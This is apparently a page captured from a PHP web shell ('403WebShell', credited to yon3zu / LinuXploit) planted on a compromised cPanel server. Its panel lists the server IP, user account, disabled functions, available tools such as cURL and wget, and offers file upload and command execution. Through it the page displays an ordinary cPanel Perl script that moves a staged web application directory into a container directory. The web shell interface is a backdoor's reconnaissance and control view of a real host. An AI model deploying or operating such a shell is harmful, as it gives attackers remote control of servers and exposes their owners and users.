Uname:Linux server17213-10344.hostycare.online 5.14.0-687.38.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Aug 12 17:19:12 EDT 2026 x86_64

403WebShell
403Webshell
Server IP : 103.243.232.44  /  Your IP : 216.73.216.237
Web Server : LiteSpeed
System : Linux server17213-10344.hostycare.online 5.14.0-687.38.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Aug 12 17:19:12 EDT 2026 x86_64
User : iamakash ( 1400)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/cpanel/ea-podman/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/cpanel/ea-podman/webapp-dir-setup
#!/usr/local/cpanel/3rdparty/bin/perl

# cpanel - webapp-dir-setup                       Copyright 2026 WebPros International, LLC
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited

use strict;
use warnings;

# Move a web application's staged source directory into its new container's
# directory (as `webapp/`). Invoked by
# ea_podman::util::_ensure_latest_container() when an arbitrary-image install
# passes --webapp-dir — the install-time analog of an EA4 container package's
# ea-podman-local-dir-setup hook. The staged directory — the application's
# source itself — becomes `webapp/`, so nothing is left behind at the staged
# location and `webapp/` is the application's source root; everything beside
# it in the container directory belongs to the system, not the application.

exit( run(@ARGV) ? 0 : 1 ) if !caller();

sub run {
    my ( $staged_dir, $container_dir ) = @_;

    die "Usage: webapp-dir-setup <STAGED_DIR> <CONTAINER_DIR>\n"
      if !length( $staged_dir // '' ) || !length( $container_dir // '' );

    for my $dir ( $staged_dir, $container_dir ) {
        die "“$dir” must be an absolute path\n" if $dir !~ m{^/};
        die "“$dir” is not a directory\n"       if !-d $dir;
    }

    my $webapp_dir = "$container_dir/webapp";
    die "“$webapp_dir” already exists\n" if -e $webapp_dir;

    # rename(2) is atomic but cannot cross filesystems; the staged directory
    # and the container directory normally both live under the user's home, so
    # a failure here means nothing moved and the install can abort cleanly.
    rename( $staged_dir, $webapp_dir ) or die "Could not move “$staged_dir” to “$webapp_dir”: $!\n";

    return 1;
}

1;

Youez - 2016 - github.com/yon3zu
LinuXploit